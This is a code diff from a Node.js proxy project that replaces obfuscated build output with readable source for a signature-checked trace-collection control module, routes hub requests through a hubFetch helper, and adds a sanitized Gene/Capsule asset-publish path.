_0x17920b[_0x3a31fc(0x185,'\x5e\x4c\x29\x6d')+'\x69\x63\x5f\x6b\x65\x79'],_0x1fc6b3['\x62\x43\x43\x56\x76'])&&_0x17920b[_0x3a31fc(0xd4,'\x74\x5d\x2a\x63')+'\x69\x63\x5f\x6b\x65\x79'][_0x3a31fc(0x101,'\x26\x69\x34\x6c')]();if(_0x1fc6b3[_0x3a31fc(0xcf,'\x26\x69\x34\x6c')](!_0x4b2b6a,_0x396334)){this[_0x3a31fc(0x17c,'\x53\x32\x34\x47')][_0x3a31fc(0x15d,'\x5d\x64\x65\x43')]?.(_0x3a31fc(0x12c,'\x35\x43\x41\x4a')+_0x3a31fc(0x104,'\x71\x30\x63\x74')+_0x3a31fc(0xd8,'\x33\x5e\x48\x64')+_0x3a31fc(0x134,'\x67\x28\x38\x4b')+_0x3a31fc(0xdb,'\x57\x40\x58\x28')+_0x3a31fc(0xf2,'\x49\x75\x35\x67')+'\x68\x61\x74\x20\x63\x6f\x75\x6c'+_0x3a31fc(0x111,'\x71\x30\x63\x74')+_0x3a31fc(0xc1,'\x79\x73\x5d\x24')+_0x3a31fc(0x198,'\x71\x32\x6f\x45')+'\x69\x6c\x65\x20\x61\x6e\x61\x6c'+'\x79\x73\x69\x73');const _0x89393d={};return _0x89393d[_0x3a31fc(0x17b,'\x4e\x54\x48\x4d')]=!![],_0x89393d[_0x3a31fc(0x1d2,'\x53\x32\x34\x47')]=![],_0x89393d;}_0x1fc6b3['\x49\x72\x51\x46\x6c'](!_0x4b2b6a,_0x3632cc)&&(this[_0x3a31fc(0x19a,'\x43\x71\x33\x38')][_0x3a31fc(0xfe,'\x38\x40\x62\x72')]?.(_0x3a31fc(0x1df,'\x33\x44\x53\x5d')+_0x3a31fc(0x127,'\x5e\x4c\x29\x6d')+_0x3a31fc(0x16f,'\x35\x43\x41\x4a')+_0x3a31fc(0x157,'\x61\x67\x63\x58')+_0x3a31fc(0x144,'\x79\x46\x50\x63')+_0x3a31fc(0x11d,'\x38\x40\x62\x72')+_0x3a31fc(0x177,'\x44\x67\x77\x73')+_0x3a31fc(0x11a,'\x6e\x4b\x5e\x50')+_0x3a31fc(0x170,'\x47\x73\x47\x7a')+_0x3a31fc(0xbe,'\x50\x4d\x71\x41')+_0x3a31fc(0x109,'\x67\x28\x38\x4b')),_0x480dcd=![]);this['\x73\x74\x6f\x72\x65']['\x73\x65\x74\x53\x74\x61\x74\x65'](_0x1fc6b3['\x48\x51\x44\x71\x6a'],_0x53fd33?_0x3a31fc(0x1bd,'\x67\x28\x38\x4b'):_0x1fc6b3[_0x3a31fc(0x19f,'\x30\x59\x55\x56')]);_0x1fc6b3[_0x3a31fc(0x148,'\x78\x65\x4e\x54')](typeof _0x480dcd,_0x1fc6b3[_0x3a31fc(0x1d7,'\x33\x5e\x48\x64')])&&this['\x73\x74\x6f\x72\x65'][_0x3a31fc(0x107,'\x66\x71\x47\x7a')](_0x3a31fc(0x10c,'\x30\x59\x55\x56')+_0x3a31fc(0x16c,'\x50\x4d\x71\x41')+_0x3a31fc(0x166,'\x26\x69\x34\x6c')+_0x3a31fc(0x1cb,'\x44\x67\x77\x73'),_0x480dcd?_0x1fc6b3[_0x3a31fc(0x1a8,'\x30\x59\x55\x56')]:_0x3a31fc(0x13f,'\x4c\x41\x35\x77'));const _0x4b2512=typeof _0x17920b[_0x3a31fc(0xf9,'\x4e\x54\x48\x4d')+'\x62\x5f\x70\x75\x62\x6c\x69\x63'+_0x3a31fc(0x17a,'\x66\x5b\x6b\x25')]===_0x3a31fc(0x1d6,'\x48\x41\x75\x2a')&&_0x17920b['\x74\x72\x61\x63\x65\x5f\x68\x75'+_0x3a31fc(0x1d8,'\x48\x41\x75\x2a')+_0x3a31fc(0x188,'\x61\x67\x63\x58')][_0x3a31fc(0x101,'\x26\x69\x34\x6c')]();if(_0x1fc6b3[_0x3a31fc(0xd9,'\x5e\x4c\x29\x6d')](_0x4b2b6a,_0x4b2512)&&_0x17920b['\x74\x72\x61\x63\x65\x5f\x68\x75'+_0x3a31fc(0xfc,'\x38\x55\x2a\x66')+_0x3a31fc(0xb9,'\x70\x47\x6b\x34')][_0x3a31fc(0x106,'\x57\x4b\x35\x26')](_0x3a31fc(0x1a7,'\x38\x6b\x51\x53')+'\x45\x59')){if(_0x1fc6b3[_0x3a31fc(0x155,'\x43\x49\x58\x67')](_0x1fc6b3['\x62\x66\x79\x47\x74'],_0x1fc6b3[_0x3a31fc(0x178,'\x62\x6d\x56\x28')])){const _0x512379=_0x56ebec(_0x23edad[_0x3a31fc(0x146,'\x71\x30\x63\x74')+_0x3a31fc(0x102,'\x6e\x4b\x5e\x50')+_0x3a31fc(0x129,'\x79\x46\x50\x63')+_0x3a31fc(0x14f,'\x53\x32\x34\x47')+_0x3a31fc(0x156,'\x5d\x64\x65\x43')]||_0x3fbf0f[_0x3a31fc(0x172,'\x66\x71\x47\x7a')+_0x3a31fc(0x1e7,'\x31\x79\x64\x5b')+_0x3a31fc(0x18d,'\x62\x6d\x56\x28')+_0x3a31fc(0x118,'\x57\x40\x58\x28')+_0x3a31fc(0x15f,'\x6a\x50\x68\x65')+_0x3a31fc(0x1c1,'\x6a\x50\x68\x65')]||'')[_0x3a31fc(0xc7,'\x6a\x50\x68\x65')](),_0x1edfe5=HVyhjc[_0x3a31fc(0x1cf,'\x71\x32\x6f\x45')](_0x47b801,_0x231b10[_0x3a31fc(0x179,'\x48\x41\x75\x2a')+'\x65']||_0x5a4635['\x74\x72\x61\x63\x65\x5f\x63\x6f'+_0x3a31fc(0x196,'\x66\x71\x47\x7a')+_0x3a31fc(0x18b,'\x48\x69\x26\x65')]||'')['\x74\x72\x69\x6d']();if(!_0x512379||!_0x1edfe5)return![];try{return _0x4dd90b[_0x3a31fc(0x1bf,'\x35\x43\x41\x4a')](HVyhjc[_0x3a31fc(0x165,'\x33\x5e\x48\x64')],_0xf1b6dd['\x66\x72\x6f\x6d'](HVyhjc[_0x3a31fc(0xc2,'\x48\x69\x26\x65')](_0x363b95,_0x2d129),HVyhjc[_0x3a31fc(0x182,'\x67\x28\x38\x4b')]),_0x512379,_0x16e26c[_0x3a31fc(0x116,'\x47\x73\x47\x7a')](_0x1edfe5,HVyhjc[_0x3a31fc(0x12f,'\x73\x53\x28\x4c')]));}catch{return![];}}else this[_0x3a31fc(0x16b,'\x35\x43\x41\x4a')][_0x3a31fc(0x15e,'\x38\x55\x2a\x66')](_0x3a31fc(0x1dc,'\x43\x71\x33\x38')+'\x62\x5f\x70\x75\x62\x6c\x69\x63'+_0x3a31fc(0x14a,'\x30\x59\x55\x56'),_0x17920b[_0x3a31fc(0x16a,'\x66\x71\x47\x7a')+'\x62\x5f\x70\x75\x62\x6c\x69\x63'+_0x3a31fc(0x1db,'\x67\x28\x38\x4b')][_0x3a31fc(0x16d,'\x79\x46\x50\x63')]());}else{if(!_0x4b2b6a&&_0x4b2512){if(_0x1fc6b3[_0x3a31fc(0x133,'\x57\x4b\x35\x26')](_0x1fc6b3['\x45\x55\x77\x4d\x48'],_0x1fc6b3[_0x3a31fc(0x117,'\x57\x40\x58\x28')]))this[_0x3a31fc(0x17e,'\x26\x69\x34\x6c')][_0x3a31fc(0x17d,'\x53\x32\x34\x47')]?.(_0x1fc6b3['\x70\x79\x75\x69\x72']);else return _0x3363ea[_0x3a31fc(0x19b,'\x79\x73\x5d\x24')](HVyhjc[_0x3a31fc(0x1d3,'\x74\x5d\x2a\x63')],_0x34f158[_0x3a31fc(0x13e,'\x36\x23\x5e\x71')](HVyhjc[_0x3a31fc(0x189,'\x67\x28\x38\x4b')](_0x1cf9fe,_0x242e70),_0x3a31fc(0x122,'\x67\x28\x38\x4b')),_0x212e99,_0x4d54da[_0x3a31fc(0x114,'\x4b\x58\x32\x32')](_0x1343f6,HVyhjc[_0x3a31fc(0xb8,'\x36\x45\x5b\x5e')]));}}_0x127889&&this[_0x3a31fc(0xc3,'\x38\x55\x2a\x66')][_0x3a31fc(0x191,'\x48\x69\x26\x65')]?.(_0x1fc6b3[_0x3a31fc(0x1c0,'\x48\x41\x75\x2a')]);this[_0x3a31fc(0x1e8,'\x66\x5b\x6b\x25')][_0x3a31fc(0x1c3,'\x44\x67\x77\x73')](_0x1fc6b3['\x64\x42\x75\x47\x43'],new Date()[_0x3a31fc(0x143,'\x6e\x4b\x5e\x50')+_0x3a31fc(0xe2,'\x49\x75\x35\x67')]()),this['\x6c\x6f\x67\x67\x65\x72'][_0x3a31fc(0x194,'\x35\x43\x41\x4a')]?.(_0x1fc6b3[_0x3a31fc(0x11f,'\x48\x41\x75\x2a')](_0x1fc6b3[_0x3a31fc(0x11b,'\x71\x30\x63\x74')],_0x53fd33?_0x1fc6b3[_0x3a31fc(0xc4,'\x33\x5e\x48\x64')]:_0x1fc6b3[_0x3a31fc(0xce,'\x62\x6d\x56\x28')]));const _0x8180f5={};return _0x8180f5[_0x3a31fc(0x147,'\x5a\x31\x6b\x28')]=!![],_0x8180f5[_0x3a31fc(0xca,'\x35\x43\x41\x4a')]=!![],_0x8180f5;}[_0x3a30b9(0x199,'\x47\x73\x47\x7a')+'\x70\x70\x6c\x79'](){const _0x2181af=_0x3a30b9,_0x4d0cc8={};_0x4d0cc8[_0x2181af(0xe0,'\x47\x73\x47\x7a')]=_0x2181af(0x162,'\x38\x6b\x51\x53')+_0x2181af(0xbb,'\x63\x50\x61\x30')+_0x2181af(0x164,'\x5e\x4c\x29\x6d'),_0x4d0cc8[_0x2181af(0x1ba,'\x71\x30\x63\x74')]=_0x2181af(0x1ac,'\x47\x73\x47\x7a')+_0x2181af(0x15c,'\x47\x6b\x4f\x64')+'\x69\x67',_0x4d0cc8[_0x2181af(0x120,'\x33\x5e\x48\x64')]=function(_0x11550,_0x38ec4d){return _0x11550===_0x38ec4d;},_0x4d0cc8['\x70\x41\x57\x67\x45']=function(_0x423c22,_0x37849a){return _0x423c22===_0x37849a;};const _0x1d5115=_0x4d0cc8,_0x5281c6={};_0x5281c6['\x74\x79\x70\x65']=_0x1d5115[_0x2181af(0x119,'\x5a\x31\x6b\x28')],_0x5281c6['\x6c\x69\x6d\x69\x74']=0x32;const _0x1ee470={};_0x1ee470[_0x2181af(0x112,'\x4f\x4f\x73\x63')]=_0x1d5115[_0x2181af(0x10e,'\x53\x5e\x29\x58')],_0x1ee470['\x6c\x69\x6d\x69\x74']=0x32;const _0x3720db=[...this[_0x2181af(0x1bc,'\x47\x73\x47\x7a')]['\x70\x6f\x6c\x6c'](_0x5281c6),...this[_0x2181af(0x159,'\x61\x67\x63\x58')][_0x2181af(0x124,'\x74\x5d\x2a\x63')](_0x1ee470)];let _0x509edf=0x13d3+-0x88+-0x134b;for(const _0x4b9195 of _0x3720db){const _0x5031c5=this[_0x2181af(0x14b,'\x30\x59\x55\x56')](_0x4b9195),_0x55af92=_0x5031c5===!![]||_0x5031c5&&_0x1d5115[_0x2181af(0xe6,'\x33\x44\x53\x5d')](_0x5031c5[_0x2181af(0x1e0,'\x30\x59\x55\x56')],!![]),_0x1e44f3=_0x1d5115[_0x2181af(0xfa,'\x73\x53\x28\x4c')](_0x5031c5,!![])||_0x5031c5&&_0x1d5115[_0x2181af(0x151,'\x31\x79\x64\x5b')](_0x5031c5[_0x2181af(0x140,'\x62\x6d\x56\x28')],!![]);_0x55af92&&this[_0x2181af(0x197,'\x62\x6d\x56\x28')][_0x2181af(0xef,'\x57\x4b\x35\x26')](_0x4b9195['\x69\x64']),_0x1e44f3&&_0x509edf++;}return _0x509edf;}}const _0x157e9d={};_0x157e9d[_0x3a30b9(0xdd,'\x38\x55\x2a\x66')+_0x3a30b9(0xf8,'\x4f\x4f\x73\x63')]=_0x351f4b,_0x157e9d[_0x3a30b9(0x126,'\x62\x6d\x56\x28')+_0x3a30b9(0x100,'\x36\x45\x5b\x5e')+_0x3a30b9(0x1b4,'\x48\x69\x26\x65')+_0x3a30b9(0x184,'\x71\x30\x63\x74')]=_0x2e7fa7,_0x157e9d[_0x3a30b9(0x1ad,'\x53\x32\x34\x47')+_0x3a30b9(0x123,'\x26\x69\x34\x6c')+_0x3a30b9(0x193,'\x5a\x31\x6b\x28')+'\x72\x65']=_0x2950e7,module[_0x3a30b9(0x174,'\x38\x55\x2a\x66')]=_0x157e9d;
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+
5
+ function canonicalTraceConfigPayload(payload = {}) {
6
+ const clean = {};
7
+ for (const key of Object.keys(payload).sort()) {
8
+ if (key === 'signature' || key === 'trace_config_signature' || key === 'signature_algorithm') continue;
9
+ if (key === 'hub_public_key') continue;
10
+ const value = payload[key];
11
+ if (value !== undefined) clean[key] = value;
12
+ }
13
+ return JSON.stringify(clean);
14
+ }
15
+
16
+ function verifyTraceConfigSignature(payload = {}, env = process.env) {
17
+ const publicKey = String(
18
+ env.EVOMAP_TRACE_CONFIG_SIGNING_PUBLIC_KEY
19
+ || env.EVOMAP_PROXY_TRACE_CONFIG_SIGNING_PUBLIC_KEY
20
+ || ''
21
+ ).trim();
22
+ const signature = String(payload.signature || payload.trace_config_signature || '').trim();
23
+ if (!publicKey || !signature) return false;
24
+ try {
25
+ return crypto.verify(
26
+ 'sha256',
27
+ Buffer.from(canonicalTraceConfigPayload(payload), 'utf8'),
28
+ publicKey,
29
+ Buffer.from(signature, 'base64')
30
+ );
31
+ } catch {
32
+ return false;
33
+ }
34
+ }
35
+
36
+ class TraceControl {
37
+ constructor({ store, logger } = {}) {
38
+ this.store = store;
39
+ this.logger = logger || console;
40
+ }
41
+
42
+ process(message) {
43
+ const payload = message && message.payload ? message.payload : message;
44
+ const enabled = payload && (
45
+ payload.enabled ??
46
+ payload.trace_collection_enabled ??
47
+ payload.proxy_trace_collection_enabled
48
+ );
49
+ if (typeof enabled !== 'boolean') {
50
+ this.logger.warn?.('[trace-control] ignoring config without boolean enabled');
51
+ return { ack: true, applied: false };
52
+ }
53
+ let profileEnabled = payload.profile_analysis_enabled ?? payload.trace_profile_analysis_enabled;
54
+ const signed = verifyTraceConfigSignature(payload);
55
+ const unsafeEnable = enabled === true;
56
+ const unsafeProfile = profileEnabled === true;
57
+ const hasRuntimeHubKey = typeof payload.hub_public_key === 'string' && payload.hub_public_key.trim();
58
+ if (!signed && unsafeEnable) {
59
+ this.logger.warn?.('[trace-control] rejected unsigned trace config that could enable collection/profile analysis');
60
+ return { ack: true, applied: false };
61
+ }
62
+ if (!signed && unsafeProfile) {
63
+ this.logger.warn?.('[trace-control] ignored unsigned profile analysis enable while applying trace disable');
64
+ profileEnabled = false;
65
+ }
66
+ this.store.setState('trace_collection_enabled', enabled ? 'true' : 'false');
67
+ if (typeof profileEnabled === 'boolean') {
68
+ this.store.setState('trace_profile_analysis_enabled', profileEnabled ? 'true' : 'false');
69
+ }
70
+ // trace_hub_public_key is part of the SIGNED canonical payload (unlike the legacy runtime hub_public_key,
71
+ // which stays excluded + ignored). Persist it only from a verified-signed config, so the hub can distribute
72
+ // its trace-encryption public key centrally without a per-node env, while a forged/unsigned config still
73
+ // cannot inject a key. extractor.readTraceProfileConfig reads this as a fallback to the pinned env var.
74
+ const signedHubKey = typeof payload.trace_hub_public_key === 'string' && payload.trace_hub_public_key.trim();
75
+ if (signed && signedHubKey && payload.trace_hub_public_key.includes('PUBLIC KEY')) {
76
+ this.store.setState('trace_hub_public_key', payload.trace_hub_public_key.trim());
77
+ } else if (!signed && signedHubKey) {
78
+ this.logger.warn?.('[trace-control] ignored trace_hub_public_key from an unsigned config');
79
+ }
80
+ if (hasRuntimeHubKey) {
81
+ this.logger.warn?.('[trace-control] ignored runtime hub_public_key; use pinned EVOMAP_PROXY_TRACE_HUB_PUBLIC_KEY or signed trace_hub_public_key');
82
+ }
83
+ this.store.setState('trace_collection_updated_at', new Date().toISOString());
84
+ this.logger.log?.('[trace-control] trace collection ' + (enabled ? 'enabled' : 'disabled'));
85
+ return { ack: true, applied: true };
86
+ }
87
+
88
+ pollAndApply() {
89
+ const messages = [
90
+ ...this.store.poll({ type: 'trace_collection_config', limit: 50 }),
91
+ ...this.store.poll({ type: 'proxy_trace_config', limit: 50 }),
92
+ ];
93
+ let applied = 0;
94
+ for (const msg of messages) {
95
+ const result = this.process(msg);
96
+ const ack = result === true || (result && result.ack === true);
97
+ const didApply = result === true || (result && result.applied === true);
98
+ if (ack) {
99
+ this.store.ack(msg.id);
100
+ }
101
+ if (didApply) {
102
+ applied++;
103
+ }
104
+ }
105
+ return applied;
106
+ }
107
+ }
108
+
109
+ module.exports = { TraceControl, canonicalTraceConfigPayload, verifyTraceConfigSignature };
@@ -19,6 +19,7 @@ const { DmHandler } = require('./extensions/dmHandler');
19
19
  const { SessionHandler } = require('./extensions/sessionHandler');
20
20
  const { TraceControl } = require('./extensions/traceControl');
21
21
  const { backfillProxyTraceUploads } = require('./trace/extractor');
22
+ const { hubFetch } = require('../gep/hubFetch');
22
23
 
23
24
  const TRACE_BACKFILL_DRAIN_MAX_PASSES = 8;
24
25
  const TRACE_BACKFILL_STARTUP_DRAIN_MAX_MS = 250;
@@ -282,6 +283,7 @@ class EvoMapProxy {
282
283
  // by whether the body carries a free-text `query` or a `signals` list.
283
284
  assetSearch: (body) => this._assetSearch(body),
284
285
  assetValidate: (body) => this._proxyHttp('/a2a/validate', this._wrapA2a('validate', body)),
286
+ assetPublish: (body) => this._assetPublish(body),
285
287
  // ATP passthrough (#460 Bug 2): merchant/consumer flows that used to call
286
288
  // hub directly via src/atp/hubClient.js must route through the proxy when
287
289
  // EVOMAP_PROXY=1 so proxy sees the transaction (for audit + offline queue).
@@ -539,7 +541,7 @@ class EvoMapProxy {
539
541
  init.body = JSON.stringify(body || {});
540
542
  }
541
543
 
542
- const res = await fetch(endpoint, init);
544
+ const res = await hubFetch(endpoint, init);
543
545
 
544
546
  if (res.status === 403 || res.status === 401) {
545
547
  const recovered = await this.lifecycle.reAuthenticate();
@@ -552,7 +554,7 @@ class EvoMapProxy {
552
554
  if (method !== 'GET' && method !== 'HEAD') {
553
555
  retryInit.body = JSON.stringify(body || {});
554
556
  }
555
- const retry = await fetch(endpoint, retryInit);
557
+ const retry = await hubFetch(endpoint, retryInit);
556
558
  if (!retry.ok) {
557
559
  const text = await retry.text().catch(() => '');
558
560
  throw Object.assign(new Error(`Hub ${retry.status}: ${text}`), { statusCode: retry.status });
@@ -663,6 +665,101 @@ class EvoMapProxy {
663
665
  return p;
664
666
  }
665
667
 
668
+ // Cross-agent / MCP publish. The legacy `evolver_publish_asset` path queued
669
+ // an `asset_submit` mailbox message, but the Hub gated that off
670
+ // (A2A_MAILBOX_ASSET_SUBMIT_ENABLED) and now enforces signed Gene+Capsule
671
+ // bundles on POST /a2a/publish. Route loose asset submits through
672
+ // buildPublishBundle so publishing actually reaches the Hub (single-asset
673
+ // publish is rejected; the Hub quarantines new bundles for safety review).
674
+ async _assetPublish(body) {
675
+ const a2a = require('../gep/a2aProtocol');
676
+ const nodeId = this.store && this.store.getState && this.store.getState('node_id');
677
+ const rawAssets = Array.isArray(body.assets) ? body.assets : (body.asset ? [body.asset] : []);
678
+ if (rawAssets.length === 0) {
679
+ throw Object.assign(new Error('assets is required'), { statusCode: 400 });
680
+ }
681
+ const results = [];
682
+ for (const raw of rawAssets) {
683
+ try {
684
+ const { gene, capsule } = this._buildBundleFromLooseAsset(raw);
685
+ const msg = a2a.buildPublishBundle({ gene, capsule, nodeId });
686
+ const res = await this._proxyHttp('/a2a/publish', msg);
687
+ results.push({ ok: true, gene_asset_id: gene.asset_id, capsule_asset_id: capsule.asset_id, response: res });
688
+ } catch (err) {
689
+ results.push({ ok: false, error: err.message, statusCode: err.statusCode });
690
+ }
691
+ }
692
+ return { published: results.filter(r => r.ok).length, total: results.length, results };
693
+ }
694
+
695
+ // Build a Hub-valid Gene+Capsule bundle from a loose MCP asset
696
+ // ({type, content, summary, signals}). The Hub quality-gates genes (strategy
697
+ // >=2 steps >=15 chars; sandboxable `node -e` validation) and requires a
698
+ // companion capsule carrying substantive content; fill the structural
699
+ // defaults and map the caller's content into strategy/content. Caller-
700
+ // supplied strategy/validation/category/outcome win when present.
701
+ _buildBundleFromLooseAsset(raw) {
702
+ const crypto = require('crypto');
703
+ const { SCHEMA_VERSION } = require('../gep/contentHash');
704
+ const r = raw || {};
705
+ const text = String(r.content || r.summary || '').trim();
706
+ const signals = (Array.isArray(r.signals) && r.signals.length) ? r.signals
707
+ : (Array.isArray(r.signals_match) && r.signals_match.length) ? r.signals_match : ['user_request'];
708
+ // Gene strategy: the Hub requires >=2 actionable steps, each >=15 chars.
709
+ // Enforce upfront (clean 400) rather than letting the Hub reject the publish.
710
+ // Bugbot #256: caller-supplied short steps and a sub-50-char capsule content
711
+ // previously slipped past the proxy and got rejected at the Hub instead.
712
+ let strategy;
713
+ if (Array.isArray(r.strategy) && r.strategy.length) {
714
+ strategy = r.strategy.map((s) => String(s).trim()).filter((s) => s.length >= 15);
715
+ if (strategy.length < 2) {
716
+ throw Object.assign(new Error('publish: `strategy` needs >=2 steps, each >=15 chars (Hub quality gate).'), { statusCode: 400 });
717
+ }
718
+ } else {
719
+ const steps = text.split(/[.\n;]+/).map((s) => s.trim()).filter((s) => s.length >= 15);
720
+ if (steps.length >= 2) {
721
+ strategy = steps.slice(0, 8);
722
+ } else if (text.length >= 50) {
723
+ strategy = [text.slice(0, 200), 'Validate the result before adopting the change'];
724
+ } else {
725
+ throw Object.assign(new Error('publish: provide `content` (>=50 chars) or a `strategy` of >=2 steps (each >=15 chars); the Hub quality-gates published genes.'), { statusCode: 400 });
726
+ }
727
+ }
728
+ const VALID_CATEGORIES = ['repair', 'optimize', 'innovate', 'explore'];
729
+ const schemaVersion = r.schema_version || SCHEMA_VERSION;
730
+ const gid = r.gene_id || ('mcp_g_' + crypto.randomBytes(6).toString('hex'));
731
+ const summary = r.summary || text.slice(0, 120) || 'manually published asset';
732
+ // Capsule needs >=50 chars of substance (Hub gate); guarantee it upfront.
733
+ const capsuleContent = text.length >= 50 ? text : (summary + ' — ' + strategy.join(' ')).trim();
734
+ if (capsuleContent.length < 50) {
735
+ throw Object.assign(new Error('publish: capsule content resolves to <50 chars; provide a longer `content` or `summary`.'), { statusCode: 400 });
736
+ }
737
+ const gene = {
738
+ type: 'Gene', schema_version: schemaVersion, id: gid,
739
+ category: VALID_CATEGORIES.includes(r.category) ? r.category : 'explore',
740
+ summary,
741
+ signals_match: signals,
742
+ strategy,
743
+ constraints: (r.constraints && typeof r.constraints === 'object') ? r.constraints : { max_files: 50, forbidden_paths: [] },
744
+ validation: (Array.isArray(r.validation) && r.validation.length) ? r.validation : ['node -e "if (![1].length) process.exit(1)"'],
745
+ };
746
+ const capsule = {
747
+ type: 'Capsule', schema_version: schemaVersion, id: 'mcp_c_' + crypto.randomBytes(6).toString('hex'),
748
+ trigger: signals, gene: gid, summary,
749
+ confidence: typeof r.confidence === 'number' ? r.confidence : 0.5,
750
+ blast_radius: { files: 1, lines: 1 },
751
+ env_fingerprint: { platform: process.platform, arch: process.arch },
752
+ outcome: (r.outcome && typeof r.outcome === 'object' && r.outcome.status) ? r.outcome : { status: 'success', score: 0.5 },
753
+ content: capsuleContent,
754
+ };
755
+ // Redact PII/secrets before publish (Bugbot #256 High). Without client-side
756
+ // sanitize, the Hub's server-side redaction rewrites the body and recomputes
757
+ // a divergent asset_id, causing persistent roundtrip_missing. Sanitize before
758
+ // buildPublishBundle stamps asset_id. Mirrors skill2gep's publish path.
759
+ const { sanitizePayload } = require('../gep/sanitize');
760
+ return { gene: sanitizePayload(gene), capsule: sanitizePayload(capsule) };
761
+ }
762
+
666
763
  // Phase C slice 4 + token mediation: relay to api.anthropic.com. The
667
764
  // route layer applies router rewrite and decides stream vs. JSON; this
668
765
  // method forwards the request and exposes the response shape.
@@ -1204,7 +1301,7 @@ class EvoMapProxy {
1204
1301
  if (!nodeId) return { error: 'No node_id yet' };
1205
1302
  const endpoint = `${this.hubUrl}/a2a/mailbox/status?node_id=${encodeURIComponent(nodeId)}`;
1206
1303
  try {
1207
- const res = await fetch(endpoint, {
1304
+ const res = await hubFetch(endpoint, {
1208
1305
  method: 'GET',
1209
1306
  headers: this.lifecycle._buildHeaders(),
1210
1307
  signal: AbortSignal.timeout(10_000),
@@ -1 +1,52 @@
1
- const _0x147981=_0x10b6;function _0x10b6(_0xe72a5e,_0x34b3bc){_0xe72a5e=_0xe72a5e-(-0x1d0*0x4+0x5*0x599+-0x12f8);const _0x48eab0=_0x46b8();let _0x2b56ac=_0x48eab0[_0xe72a5e];if(_0x10b6['\x65\x69\x51\x74\x52\x72']===undefined){var _0x26cb1e=function(_0x52533e){const _0x40833b='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x5235e4='',_0x325e59='',_0x2eb814=_0x5235e4+_0x26cb1e,_0x4597e2=(''+function(){return 0xe4f*0x1+-0x1ba0+-0x1e7*-0x7;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(0x2*0xd5b+-0x60*0x16+0x1275*-0x1);for(let _0x6c8be7=-0x1a73+-0x1d*0x85+0x14c2*0x2,_0x3ec30f,_0x2080b3,_0x1fdcd9=0x140d+0xc1*0x2+-0x158f;_0x2080b3=_0x52533e['\x63\x68\x61\x72\x41\x74'](_0x1fdcd9++);~_0x2080b3&&(_0x3ec30f=_0x6c8be7%(-0x8f5+-0x1c2b+0x2524)?_0x3ec30f*(-0x1bb1+-0x1c*0x15c+0x4201*0x1)+_0x2080b3:_0x2080b3,_0x6c8be7++%(-0x10e*0x8+0xa0b*0x1+0x197*-0x1))?_0x5235e4+=_0x4597e2||_0x2eb814['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x1fdcd9+(0xe9f+0x3*-0xa1e+0xfc5))-(-0x2484+0x1*-0x17f6+0x3c84)!==0x1008+-0x15*-0xdb+0x3c7*-0x9?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x4*0x757+0x1e*0x71+0x111d&_0x3ec30f>>(-(0x2195+0x2*0x8aa+-0x32e7)*_0x6c8be7&-0x23*-0x1d+0x5f*0x1a+0x47*-0x31)):_0x6c8be7:0x2f*0x1d+-0x2710+0xb3f*0x3){_0x2080b3=_0x40833b['\x69\x6e\x64\x65\x78\x4f\x66'](_0x2080b3);}for(let _0x128ef9=-0x4*0x349+0x2564*0x1+-0x1840,_0x5617da=_0x5235e4['\x6c\x65\x6e\x67\x74\x68'];_0x128ef9<_0x5617da;_0x128ef9++){_0x325e59+='\x25'+('\x30\x30'+_0x5235e4['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x128ef9)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0x210d+-0x1281+-0x339e*-0x1))['\x73\x6c\x69\x63\x65'](-(0x1d0a+-0x755+-0x15b3));}return decodeURIComponent(_0x325e59);};const _0x73dca2=function(_0x18f1c1,_0x1e6450){let _0x2611e0=[],_0x370924=0xb*-0x202+-0x1eb0+0x3c5*0xe,_0x2a9831,_0x3cd516='';_0x18f1c1=_0x26cb1e(_0x18f1c1);let _0x34e22a;for(_0x34e22a=0x4*0x1b5+-0xa9e+0x3ca;_0x34e22a<-0x269a+0x2539+0x261;_0x34e22a++){_0x2611e0[_0x34e22a]=_0x34e22a;}for(_0x34e22a=-0x1ec7+-0x49c+0x2363*0x1;_0x34e22a<0xa28+0xaa6+-0x6*0x34d;_0x34e22a++){_0x370924=(_0x370924+_0x2611e0[_0x34e22a]+_0x1e6450['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x34e22a%_0x1e6450['\x6c\x65\x6e\x67\x74\x68']))%(0x1*-0x1675+-0x3*0x2f5+0x2054),_0x2a9831=_0x2611e0[_0x34e22a],_0x2611e0[_0x34e22a]=_0x2611e0[_0x370924],_0x2611e0[_0x370924]=_0x2a9831;}_0x34e22a=0x6b*-0x3e+0x1c38+-0x24e,_0x370924=-0x852+0x1*-0x1efe+0x2750*0x1;for(let _0x5ca674=-0x2397+-0x1728+-0x3*-0x1395;_0x5ca674<_0x18f1c1['\x6c\x65\x6e\x67\x74\x68'];_0x5ca674++){_0x34e22a=(_0x34e22a+(0x11*-0x73+0x1*0x2411+-0x1c6d))%(-0x124e+0xe8d+0x4c1),_0x370924=(_0x370924+_0x2611e0[_0x34e22a])%(-0xd*-0xc+-0x2b4*-0x5+-0xd20),_0x2a9831=_0x2611e0[_0x34e22a],_0x2611e0[_0x34e22a]=_0x2611e0[_0x370924],_0x2611e0[_0x370924]=_0x2a9831,_0x3cd516+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x18f1c1['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x5ca674)^_0x2611e0[(_0x2611e0[_0x34e22a]+_0x2611e0[_0x370924])%(0x1*-0x1d8+-0x6bc+0x994)]);}return _0x3cd516;};_0x10b6['\x4d\x46\x74\x68\x74\x42']=_0x73dca2,_0x10b6['\x6c\x45\x52\x45\x65\x59']={},_0x10b6['\x65\x69\x51\x74\x52\x72']=!![];}const 